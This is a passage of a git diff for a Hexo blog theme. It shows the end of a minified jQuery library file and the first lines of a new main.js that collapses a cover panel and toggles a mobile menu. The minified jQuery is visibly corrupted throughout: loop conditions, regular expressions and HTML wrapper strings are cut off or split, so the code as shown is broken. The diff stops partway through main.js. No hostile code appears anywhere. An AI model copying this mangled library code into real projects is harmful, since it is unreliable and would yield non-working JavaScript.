a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[":"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\[\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!="string")return v(e).filter(function(){for(t=0,n=u.length;t0)for(i=r;i=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!="string"?v(e,t||this.context):0;for(;r-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,"closest",e)},index:function(e){return e?typeof e=="string"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,"parentNode")},parentsUntil:function(e,t,n){return v.dir(e,"parentNode",n)},next:function(e){return at(e,"nextSibling")},prev:function(e){return at(e,"previousSibling")},nextAll:function(e){return v.dir(e,"nextSibling")},prevAll:function(e){return v.dir(e,"previousSibling")},nextUntil:function(e,t,n){return v.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return v.dir(e,"previousSibling",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r=="string"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(","))}}),v.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ht=/ jQuery\d+="(?:null|\d+)"/g,pt=/^\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,vt=/<([\w:]+)/,mt=/]","i"),Et=/^(?:checkbox|radio)$/,St=/checked\s*(?:[^=]|=\s*.checked.)/i,xt=/\/(java|ecma)script/i,Tt=/^\s*\s*$/g,Nt={option:[1,""],legend:[1,"
    ","
    "],thead:[1,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],col:[2,"","
    "],area:[1,"",""],_default:[0,"",""]},Ct=lt(i),kt=Ct.appendChild(i.createElement("div"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,"X
    ","
    "]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,"body")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),"before",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),"after",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName("*"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,""):t;if(typeof e=="string"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(dt,"<$1>");try{for(;r1&&typeof f=="string"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,"tr");for(u=i.cacheable||c-1;a0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment=="undefined")t=i;for(s=0;(u=e[s])!=null;s++){typeof u=="number"&&(u+="");if(!u)continue;if(typeof u=="string")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement("div"),y.appendChild(c),u=u.replace(dt,"<$1>"),a=(vt.exec(u)||["",""])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a==="table"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]===""&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,"input")?_t(u):typeof u.getElementsByTagName!="undefined"&&v.grep(u.getElementsByTagName("input"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,"script")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!="undefined"&&(g=v.grep(v.merge([],u.getElementsByTagName("script")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\([^)]*\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp("^("+m+")(.*)$","i"),Ut=new RegExp("^("+m+")(?!px)[a-z%]+$","i"),zt=new RegExp("^([-+])=("+m+")","i"),Wt={BODY:"block"},Xt={position:"absolute",visibility:"hidden",display:"block"},Vt={letterSpacing:0,fontWeight:400},$t=["Top","Right","Bottom","Left"],Jt=["Webkit","O","Moz","ms"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e=="boolean";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,"opacity");return n===""?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":v.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o==="string"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o="number");if(r==null||o==="number"&&isNaN(r))return;o==="number"&&!v.cssNumber[a]&&(r+="px");if(!u||!("set"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&"get"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s==="normal"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===""&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":i,i=s.pixelLeft+"px",s.left=n,r&&(e.runtimeStyle.left=r)),i===""?"auto":i}),v.each(["height","width"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,"display"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,"boxSizing")==="border-box"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?"alpha(opacity="+t*100+")":"",s=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,""))===""&&n.removeAttribute){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+" "+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:"inline-block"},function(){if(t)return Dt(e,"marginRight")})}}),!v.support.pixelPosition&&v.fn.position&&v.each(["top","left"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+"px":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,"display"))==="none"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:"",padding:"",border:"Width"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n=="string"?n.split(" "):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\[\]$/,on=/\r?\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join("&").replace(rn,"+")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,dn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\/\//,gn=/\?/,yn=/)<[^<]*)*<\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=["*/"]+["*"];try{cn=s.href}catch(Nn){cn=i.createElement("a"),cn.href="",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!="string"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n=="object"&&(s="POST"),v.ajax({url:e,type:s,dataType:"html",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v("
    ").append(e.replace(yn,"")).find(i):e)}),this},v.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each(["get","post"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,"script")},getJSON:function(e,t,n){return v.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":v.parseJSON,"text xml":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||"",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(v.lastModified[r]=S),S=x.getResponseHeader("Etag"),S&&(v.etag[r]=S)),e===304?(T="notmodified",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T="error",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger("ajax"+(l?"Success":"Error"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger("ajaxComplete",[x,c]),--v.active||v.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks("once memory"),g=c.statusCode||{},b={},w={},E=0,S="canceled",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+"").replace(hn,"").replace(mn,ln[1]+"//"),c.dataTypes=v.trim(c.dataType||"*").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]==="http:"?80:443))==(ln[3]||(ln[1]==="http:"?80:443)))),c.data&&c.processData&&typeof c.data!="string"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger("ajaxStart");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?"&":"?")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,"$1_="+N);c.url=C+(C===c.url?(gn.test(c.url)?"&":"?")+"_="+N:"")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader("If-Modified-Since",v.lastModified[r]),v.etag[r]&&x.setRequestHeader("If-None-Match",v.etag[r])),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!=="*"?", "+Tn+"; q=0.01":""):c.accepts["*"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S="abort";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,"No Transport");else{x.readyState=1,f&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\?/,Dn=/(=)\?(?=&|$)|\?\?/,Pn=v.now();v.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Mn.pop()||v.expando+"_"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a=="string"&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Dn.test(a);if(n.dataTypes[0]==="jsonp"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,"$1"+s):h?n.data=a.replace(Dn,"$1"+s):l&&(n.url+=(_n.test(f)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||v.error(s+" was not called"),u[0]},n.dataTypes[0]="json",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),"script"}),v.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName("head")[0]||i.documentElement;return{send:function(s,o){n=i.createElement("script"),n.async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,"success")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i["X-Requested-With"]&&(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=""}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp("^(?:([-+])=|)("+m+")([a-z%]*)$","i"),Wn=/queueHooks$/,Xn=[Gn],Vn={"*":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?"":"px");if(r!=="px"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||".5",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;r-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,"marginTop"))||0,n.left-=parseFloat(v.css(e,"marginLeft"))||0,r.top+=parseFloat(v.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(v.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,"position")==="static")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:"height",Width:"width"},function(e,n){v.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!="boolean"),u=r||(i===!0||s===!0?"margin":"border");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement["client"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return v})})(window); \ No newline at end of file diff --git a/themes/huno/source/js/main.js b/themes/huno/source/js/main.js new file mode 100644 index 0000000..67c8933 --- /dev/null +++ b/themes/huno/source/js/main.js @@ -0,0 +1,28 @@ +$(document).ready(function() { + + $('a.blog-button').click(function() { + if ($('.panel-cover').hasClass('panel-cover--collapsed')) return; + currentWidth = $('.panel-cover').width(); + $('.panel-cover').addClass('animated panel-cover--collapsed slideInLeft'); + $('.content-wrapper').addClass('animated slideInLeft'); + }); + + if (window.location.hash && window.location.hash == "#blog") { + $('.panel-cover').addClass('panel-cover--collapsed'); + } + + if (window.location.pathname != "/") { // if hexo in subdir of site, should change this line + $('.panel-cover').addClass('panel-cover--collapsed'); + } + + $('.btn-mobile-menu').click(function() { + $('.navigation-wrapper').toggleClass('visible animated bounceInDown'); + $('.btn-mobile-menu__icon').toggleClass('icon-list icon-x-circle animated fadeIn'); + }); + + 